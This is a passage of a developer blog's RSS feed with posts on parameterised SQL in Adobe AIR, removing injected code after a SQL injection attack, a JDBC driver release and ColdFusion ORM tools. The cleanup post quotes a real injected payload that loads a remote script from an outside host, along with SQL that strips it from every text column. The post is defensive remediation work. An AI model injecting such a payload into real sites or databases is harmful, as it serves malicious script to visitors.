stmt.<span style="color: #660066;">parameters</span><span style="color: #009900;">&#91;</span><span style="color: #3366CC;">&quot;@firstname&quot;</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #3366CC;">&quot;Simon&quot;</span><span style="color: #339933;">;</span>
stmt.<span style="color: #660066;">parameters</span><span style="color: #009900;">&#91;</span><span style="color: #3366CC;">&quot;@lastname&quot;</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #3366CC;">&quot;Whatley&quot;</span><span style="color: #339933;">;</span>
stmt.<span style="color: #660066;">execute</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span></pre></div></div>

<p><script type="text/javascript"><!--
google_ad_client = "pub-6475233631580417";
/* 468x60 Basic */
google_ad_slot = "7117418273";
google_ad_width = 468;
google_ad_height = 60;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script></p>
<h3>Unnamed Parameters</h3>
<p>As an alternative to using explicit named parameters, you can also use implicit unnamed parameters. To use an unnamed parameter you simply designate a parameter in the <abbr title="Structured Query Language">SQL</abbr> statement using a question mark (?) character. Each parameter is assigned a numeric index, according to the order in which the parameters appear in the <abbr title="Structured Query Language">SQL</abbr> statement, <em>starting with index 0 (zero)</em> for the first parameter.</p>
<p><strong>ActionScript 3</strong></p>

<div class="wp_syntax"><div class="code"><pre class="actionscript3" style="font-family:monospace;"><span style="color: #6699cc; font-weight: bold;">var</span> conn<span style="color: #000000; font-weight: bold;">:</span>SQLConnection = <span style="color: #0033ff; font-weight: bold;">new</span> SQLConnection<span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span>;
<span style="color: #6699cc; font-weight: bold;">var</span> stmt<span style="color: #000000; font-weight: bold;">:</span>SQLStatement = <span style="color: #0033ff; font-weight: bold;">new</span> SQLStatement<span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span>;
stmt.sqlConnection = conn;
stmt.<span style="color: #004993;">text</span> = <span style="color: #990000;">&quot;INSERT INTO address VALUES(?, ?, ?, ?)&quot;</span>;
stmt.<span style="color: #004993;">parameters</span><span style="color: #000000;">&#91;</span><span style="color: #000000; font-weight:bold;">0</span><span style="color: #000000;">&#93;</span> = <span style="color: #990000;">&quot;123 Main Street&quot;</span>;
stmt.<span style="color: #004993;">parameters</span><span style="color: #000000;">&#91;</span><span style="color: #000000; font-weight:bold;">1</span><span style="color: #000000;">&#93;</span> = <span style="color: #990000;">&quot;Sometown&quot;</span>;
stmt.<span style="color: #004993;">parameters</span><span style="color: #000000;">&#91;</span><span style="color: #000000; font-weight:bold;">2</span><span style="color: #000000;">&#93;</span> = <span style="color: #990000;">&quot;12345&quot;</span>;
stmt.<span style="color: #004993;">parameters</span><span style="color: #000000;">&#91;</span><span style="color: #000000; font-weight:bold;">3</span><span style="color: #000000;">&#93;</span> = <span style="color: #990000;">&quot;USA&quot;</span>;
stmt.execute<span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span></pre></div></div>

<p><strong>JavaScript</strong></p>

<div class="wp_syntax"><div class="code"><pre class="javascript" style="font-family:monospace;"><span style="color: #003366; font-weight: bold;">var</span> conn <span style="color: #339933;">=</span> <span style="color: #003366; font-weight: bold;">new</span> air.<span style="color: #660066;">SQLConnection</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #003366; font-weight: bold;">var</span> stmt <span style="color: #339933;">=</span> <span style="color: #003366; font-weight: bold;">new</span> air.<span style="color: #660066;">SQLStatement</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
stmt.<span style="color: #660066;">sqlConnection</span> <span style="color: #339933;">=</span> conn<span style="color: #339933;">;</span>
stmt.<span style="color: #660066;">text</span> <span style="color: #339933;">=</span> <span style="color: #3366CC;">&quot;INSERT INTO address VALUES(?, ?, ?, ?)&quot;</span><span style="color: #339933;">;</span>
stmt.<span style="color: #660066;">parameters</span><span style="color: #009900;">&#91;</span><span style="color: #CC0000;">0</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #3366CC;">&quot;123 Main Street&quot;</span><span style="color: #339933;">;</span>
stmt.<span style="color: #660066;">parameters</span><span style="color: #009900;">&#91;</span><span style="color: #CC0000;">1</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #3366CC;">&quot;Sometown&quot;</span><span style="color: #339933;">;</span>
stmt.<span style="color: #660066;">parameters</span><span style="color: #009900;">&#91;</span><span style="color: #CC0000;">2</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #3366CC;">&quot;12345&quot;</span><span style="color: #339933;">;</span>
stmt.<span style="color: #660066;">parameters</span><span style="color: #009900;">&#91;</span><span style="color: #CC0000;">3</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #3366CC;">&quot;USA&quot;</span><span style="color: #339933;">;</span>
stmt.<span style="color: #660066;">execute</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span></pre></div></div>

<p>Note: Use <code>clearParameters()</code> to empty the statement parameters array; e.g. <code>stmt.clearParameters()</code>.</p>
<h3>Advantages</h3>
<ol>
<li><strong>Performance</strong> &#8211; A <abbr title="Structured Query Language">SQL</abbr> statement that uses parameters can execute more efficiently compared to one that dynamically creates the <abbr title="Structured Query Language">SQL</abbr> text each time it executes. The performance improvement is because the statement is prepared once and then executed multiple times using different parameter values, without needing to recompile the <abbr title="Structured Query Language">SQL</abbr> statement. A comparison can be draw with database stored procedures.</li>
<li><strong>Data Typing</strong> &#8211; Parameters are used to allow for typed-substitution of values that are unknown at the time the <abbr title="Structured Query Language">SQL</abbr> statement is constructed. The use of parameters is the only way to guarantee the type (storage class) for a value passed to the database. Using paramters therefore, implies better performance and security. When parameters are not used, the runtime attempts to convert all values from their text representation to a type based on the associated column&#8217;s type.</li>
<li><strong>Security</strong> &#8211; The <acronym title="Adobe Integrated Runtime">AIR</acronym> application is not vulnerable to <abbr title="Structured Query Language">SQL</abbr> injections so common to web applications.</li>
</ol>
<p><script type="text/javascript"><!--
google_ad_client = "pub-6475233631580417";
/* 468x60 Basic */
google_ad_slot = "7117418273";
google_ad_width = 468;
google_ad_height = 60;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.simonwhatley.co.uk/preventing-sql-injection-in-an-air-application/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>How to Fix a SQL Injection Attack</title>
		<link>http://www.simonwhatley.co.uk/how-to-fix-a-sql-injection-attack</link>
		<comments>http://www.simonwhatley.co.uk/how-to-fix-a-sql-injection-attack#comments</comments>
		<pubDate>Fri, 15 Aug 2008 15:33:00 +0000</pubDate>
		<dc:creator>Simon</dc:creator>
				<category><![CDATA[Development]]></category>
		<category><![CDATA[attack]]></category>
		<category><![CDATA[backup]]></category>
		<category><![CDATA[ColdFusion]]></category>
		<category><![CDATA[cross-site scripting]]></category>
		<category><![CDATA[database]]></category>
		<category><![CDATA[database server]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[how to]]></category>
		<category><![CDATA[howto]]></category>
		<category><![CDATA[programatically]]></category>
		<category><![CDATA[restore]]></category>
		<category><![CDATA[rollback]]></category>
		<category><![CDATA[script]]></category>
		<category><![CDATA[Scripting]]></category>
		<category><![CDATA[SQL]]></category>
		<category><![CDATA[XSS]]></category>

		<guid isPermaLink="false">http://www.simonwhatley.co.uk/?p=814</guid>
		<description><![CDATA[In my previous post, What is a SQL Injection Attack, I gave a brief overview of SQL injection and Cross-Site Scripting (XSS), primarily with regard to websites. In the example given, we saw that an attack could take the form of a ‘hacked’ URL which contained either a literal SQL statement, or a hexadecimal string that could be interpreted by an insecure SQL database server.]]></description>
			<content:encoded><![CDATA[<p>In my previous post, <a href="/what-is-a-sql-injection-attack">What is a SQL Injection Attack</a>, I gave a brief overview of <acronym title="Structured Query Language">SQL</acronym> injection and Cross-Site Scripting (<abbr title="Cross-Site Scripting">XSS</abbr>), primarily with regard to websites. In the example given, we saw that an attack could take the form of a &#8216;hacked&#8217; URL which contained either a literal <acronym title="Structured Query Language">SQL</acronym> statement, or a hexadecimal string that could be interpreted by an insecure <acronym title="Structured Query Language">SQL</acronym> database server.</p>
<p>Which ever method is used to inject <acronym title="Structured Query Language">SQL</acronym> and ultimately dangerous scripts into the database, we need to know how to deal with the problem and &#8216;roll it back&#8217; to a safe state.</p>
<p>If you have an up-to-date backup of the database prior to the attack, then restoring the database is the best course of action. If this is not the case, apart from giving yourself a kick for not implementing a backup policy, it is possible to programatically remove the injected string or code using a set of relatively-simple SQL queries.</p>
<p><script type="text/javascript"><!--
google_ad_client = "pub-6475233631580417";
/* 468x60 Basic */
google_ad_slot = "7117418273";
google_ad_width = 468;
google_ad_height = 60;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script></p>
<h3>Programatically Replace Injected Code</h3>
<p>Fortunately, by the very nature of an <abbr title="Cross-Site Scripting">XSS</abbr> attack, code is appended to the data already in the database &#8212; rather than replacing it &#8212; which means we simply need to remove the appended content.</p>
<p>Taking a real-world example, below is string that was injected into the database:</p>

<div class="wp_syntax"><div class="code"><pre class="txt" style="font-family:monospace;">&quot;&gt;&lt;/title&gt;&lt;script src=&quot;http://1.verynx.cn/w.js&quot;&gt;&lt;/script&gt;&lt;!--</pre></div></div>

<p>When rendered by a standard <acronym title="Hyper-Text Markup Language">HTML</acronym> page, the string is either displayed to the user agent, or the JavaScript file is called by the page, causing a security threat.</p>
<p>With the example above, we can use the following script to recurse through and create update scripts for every &#8216;infected&#8217; table and column (of the type <code>char</code>, <code>nchar</code>, <code>varchar</code> and <code>nvarchar</code>), in the database.</p>

<div class="wp_syntax"><div class="code"><pre class="txt" style="font-family:monospace;">SELECT 'UPDATE [' + table_name + ']
SET ' + column_name + ' = REPLACE(CAST(' + column_name + ' as varchar(8000)), ''&quot;&gt;&lt;/title&gt;&lt;script src=&quot;http://1.verynx.cn/w.js&quot;&gt;&lt;/script&gt;&lt;!--'', '''')
WHERE ' + column_name + ' LIKE ''%&quot;&gt;&lt;/title&gt;&lt;script src=&quot;http://1.verynx.cn/w.js&quot;&gt;&lt;/script&gt;&lt;!--%'''
FROM information_schema.columns
WHERE (character_maximum_length is not NULL)
AND ([table_name] not like 'dt%')
AND ([table_name] not like 'sys%')</pre></div></div>

<p>The resultset then produces update statements that look like the following (I have masked the actual table and column names):</p>

<div class="wp_syntax"><div class="code"><pre class="txt" style="font-family:monospace;">UPDATE [tableName]
SET columnName = REPLACE(CAST(columnName AS VARCHAR(8000)), '&quot;&gt;&lt;/title&gt;&lt;script src=&quot;http://1.verynx.cn/w.js&quot;&gt;&lt;/script&gt;&lt;!--', '')
WHERE columnName LIKE '%&quot;&gt;&lt;/title&gt;&lt;script src=&quot;http://1.verynx.cn/w.js&quot;&gt;&lt;/script&gt;&lt;!--%'</pre></div></div>

<p>These update statements can be copied into and run in a program such as Query Analyser for Microsoft SQL Server 2000, or SQL Server Management Studio for Microsoft SQL 2005.</p>
<p>If the actual code that was injected is different, simply change the above code to suit your needs.</p>
<p><del datetime="2008-10-01T15:33:30+00:00">You can download the SQL rollback script for your own needs.</del></p>
<h3>Prevent a Successful Attack</h3>
<p>As the popular idiom goes <q>prevention is better than a cure</q>, I will discuss in my next post how to mitigate against <acronym title="Structured Query Language">SQL</acronym> Injection attacks &#8212; on ColdFusion-based websites &#8212; before they become a problem.</p>
<p><script type="text/javascript"><!--
google_ad_client = "pub-6475233631580417";
/* 468x60 Basic */
google_ad_slot = "7117418273";
google_ad_width = 468;
google_ad_height = 60;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.simonwhatley.co.uk/how-to-fix-a-sql-injection-attack/feed</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>Microsoft SQL Server 2005 JDBC Driver 1.2</title>
		<link>http://www.simonwhatley.co.uk/microsoft-sql-server-2005-jdbc-driver-12</link>
		<comments>http://www.simonwhatley.co.uk/microsoft-sql-server-2005-jdbc-driver-12#comments</comments>
		<pubDate>Fri, 14 Mar 2008 10:42:08 +0000</pubDate>
		<dc:creator>Simon</dc:creator>
				<category><![CDATA[Development]]></category>
		<category><![CDATA[Adobe ColdFusion]]></category>
		<category><![CDATA[api]]></category>
		<category><![CDATA[ColdFusion]]></category>
		<category><![CDATA[database]]></category>
		<category><![CDATA[download]]></category>
		<category><![CDATA[driver]]></category>
		<category><![CDATA[IBM]]></category>
		<category><![CDATA[jar]]></category>
		<category><![CDATA[Java]]></category>
		<category><![CDATA[JDBC]]></category>
		<category><![CDATA[Microsoft]]></category>
		<category><![CDATA[Microsoft SQL Server]]></category>
		<category><![CDATA[MSSQL]]></category>
		<category><![CDATA[SQL Server 2005]]></category>

		<guid isPermaLink="false">http://www.simonwhatley.co.uk/?p=469</guid>
		<description><![CDATA[Download the SQL Server 2005 JDBC Driver 1.2, a Type 4 JDBC driver that provides database connectivity through the standard JDBC application program interfaces (APIs) available in J2EE (Java2 Enterprise Edition).

This release of the JDBC Driver is JDBC 3.0 compliant and runs on the Java Development Kit (JDK) version 1.4 and higher. It has been tested against all major application servers including BEA WebLogic, IBM WebSphere, JBoss, and Sun.]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.microsoft.com/downloads/details.aspx?FamilyId=C47053EB-3B64-4794-950D-81E1EC91C1BA&#038;displaylang=en" title="Microsoft SQL Server 2005 JDBC Driver 1.2" rel="nofollow" target="_blank">Download the SQL Server 2005 JDBC Driver 1.2</a>, a Type 4 JDBC driver that provides database connectivity through the standard JDBC application program interfaces (APIs) available in J2EE (Java2 Enterprise Edition).</p>
<p>This release of the JDBC Driver is JDBC 3.0 compliant and runs on the Java Development Kit (JDK) version 1.4 and higher. It has been tested against all major application servers including BEA WebLogic, IBM WebSphere, JBoss, and Sun.</p>
<p><script type="text/javascript"><!--
google_ad_client = "pub-6475233631580417";
/* 468x60 Basic */
google_ad_slot = "7117418273";
google_ad_width = 468;
google_ad_height = 60;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.simonwhatley.co.uk/microsoft-sql-server-2005-jdbc-driver-12/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>ColdFusion ORM Frameworks &amp; Tools</title>
		<link>http://www.simonwhatley.co.uk/coldfusion-orm-frameworks-tools</link>
		<comments>http://www.simonwhatley.co.uk/coldfusion-orm-frameworks-tools#comments</comments>
		<pubDate>Thu, 27 Apr 2006 20:53:05 +0000</pubDate>
		<dc:creator>Simon</dc:creator>
				<category><![CDATA[Development]]></category>
		<category><![CDATA[Active Record Factory]]></category>
		<category><![CDATA[api]]></category>
		<category><![CDATA[Code]]></category>
		<category><![CDATA[code generation]]></category>
		<category><![CDATA[ColdFusion]]></category>
		<category><![CDATA[database]]></category>
		<category><![CDATA[Doug Hughes]]></category>
		<category><![CDATA[Frameworks]]></category>
		<category><![CDATA[generation]]></category>
		<category><![CDATA[Hibernate]]></category>
		<category><![CDATA[mapping]]></category>
		<category><![CDATA[Microsoft]]></category>
		<category><![CDATA[Nicholas Tunney]]></category>
		<category><![CDATA[object]]></category>
		<category><![CDATA[object relational mapping]]></category>
		<category><![CDATA[object-oriented programming]]></category>
		<category><![CDATA[ObjectBreeze]]></category>
		<category><![CDATA[Oracle]]></category>
		<category><![CDATA[ORM]]></category>
		<category><![CDATA[Programmer]]></category>
		<category><![CDATA[Reactor]]></category>
		<category><![CDATA[Reactor Reactor]]></category>
		<category><![CDATA[relational database]]></category>
		<category><![CDATA[SQL]]></category>
		<category><![CDATA[Transfer]]></category>
		<category><![CDATA[XML]]></category>

		<guid isPermaLink="false">http://www.simonwhatley.co.uk/?p=65</guid>
		<description><![CDATA[Object-Relational Mapping (or ORM), is a programming technique that links databases to object-oriented language concepts, creating (in effect) a "virtual object database". There are both free and commercial packages available that perform object-relational mapping, although some programmers opt to code their own object-relational mapping for their systems.]]></description>
			<content:encoded><![CDATA[<p><strong>Object-Relational Mapping (or ORM)</strong>, is a programming technique that links databases to object-oriented language concepts, creating (in effect) a &#8220;virtual object database.&#8221; There are both free and commercial packages available that perform object-relational mapping, although some programmers opt to code their own object-relational mapping for their systems.</p>
<p>In object-oriented programming, programming objects represent real-world objects. To illustrate, consider the example of an address book, which contains listings of people along with zero or more phone numbers and zero or more addresses. In object-oriented terms this would be represented by a &#8220;person object&#8221; with &#8220;slots&#8221; (fields, members, instance variables etc.) to hold the data that make up this listing: the person&#8217;s name, a list (or array) of phone numbers, and a list of addresses.</p>
<p>The crux of the problem is in translating those objects to forms which can be stored in files or databases, and which can later be retrieved easily while preserving the properties of the objects and their relationships; these objects can then be said to be persistent.</p>
<p>Object-Relational systems attempt to solve this problem by providing libraries of classes which are able to do this mapping automatically. Given a list of tables in the database, and objects in the program, they will automatically map requests from one to the other. Asking a person object for its phone numbers will result in the proper query being created and sent, and the results being &#8220;magically&#8221; translated directly into phone number objects inside the program.</p>
<p>From a programmer&#8217;s perspective, the system looks like a persistent object store. One can create objects and work with them as one would normally, and they automatically end up in the relational database.</p>
<p>A number of ORM frameworks have been created for ColdFusion:</p>
<h2>Reactor</h2>
<p>Reactor, created by Doug Hughes of <a target="_blank" title="Alagad" href="http://www.alagad.com/">Alagad</a> fame, is a very simple <acronym title="Application Program Interface">API</acronym> for ColdFusion which generates and instantiates database abstraction <acronym title="ColdFusion Components">CFCs</acronym> on the fly as needed.</p>
<p><a title="Reactor for ColdFusion" target="_blank" href="http://www.doughughes.net/index.cfm?filter=category&#038;categoryId=30">http://www.doughughes.net/</a></p>
<h2>Arf!</h2>
<p>Active Record Factory (Arf!) is a Rails-style ActiveRecord implementation in ColdFusion.</p>
<p>Below is a list of the basics that Arf! provides:</p>
<ul>
<li>JDBC metadata based reflection:  not database specific</li>
</ul>
<ul>
<li>Creates ActiveRecord <acronym title="Application Program Interface">API</acronym>&#8216;d instances out of <acronym title="ColdFusion Components">CFCs</acronym> that extend a base ActiveRecord component</li>
</ul>
<ul>
<li>Implements hasMany() and belongsTo() methods for establishing Record properties that point to other tables</li>
</ul>
<ul>
<li>Allows for overloading any of the automagically generated methods to add custom business logic</li>
</ul>
<ul>
<li>Automagic methods on Records include GetInstance(), Create(), Read(), Update(), Delete(), Save() [smart create/update], List(orderBy, whereClause), Validate() [does type and length checking], and SetNNN()/GetNNN() methods for each DB column</li>
</ul>
<p><a title="Arf!" target="_blank" href="http://www.clearsoftware.net/index.cfm?mode=cat&#038;catid=4BF355FB-E081-2BAC-691AF2BBF35F5E7C">http://www.clearsoftware.net/</a></p>
<h2>objectBreeze</h2>
<p>Developed by Nicholas Tunney, objectBreeze is an <acronym title="Object-Relational Mapping">ORM</acronym> tool that allows you to interact with your data persistence layer and easily model objects within your ColdFusion applications. With no setup, objectBreeze will instantly create objects directly from your database schema. objectBreeze requires that your table has -a- primary key defined. Currently, objectBreeze works with Microsoft SQL, Oracle, MySQL and PostgreSQL, but other versions are on the way.</p>
<p><a title="objectBreeze" target="_blank" href="http://www.objectbreeze.com/ob/">http://www.objectbreeze.com/ob/</a></p>
<h2>cfcPowerTools</h2>
<p>Batch generation of your data layer objects in minutes.</p>
<p><a title="cfcPowerTools" target="_blank" href="http://cfcpowertools.riaforge.org/">http://cfcpowertools.riaforge.org/</a></p>
<h2>Transfer</h2>
<p>Transfer was built out of a need to speed up the development process that is normally slowed down by the development of Business Objects and Data Access Objects.</p>
<p>Transfer does this through a series of methods, including SQL generation and CFML code generation, that all occur during the run-time process.</p>
<p>All this is configured through a XML file, that maps your object generation back to the tables and columns in your database.</p>
<p><a title="Transfer object Relational Mapping" href="http://www.compoundtheory.com/?action=transfer.index">http://www.compoundtheory.com/</a></p>
<p><script type="text/javascript"><!--
google_ad_client = "pub-6475233631580417";
/* 468x60 Basic */
google_ad_slot = "7117418273";
google_ad_width = 468;
google_ad_height = 60;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.simonwhatley.co.uk/coldfusion-orm-frameworks-tools/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

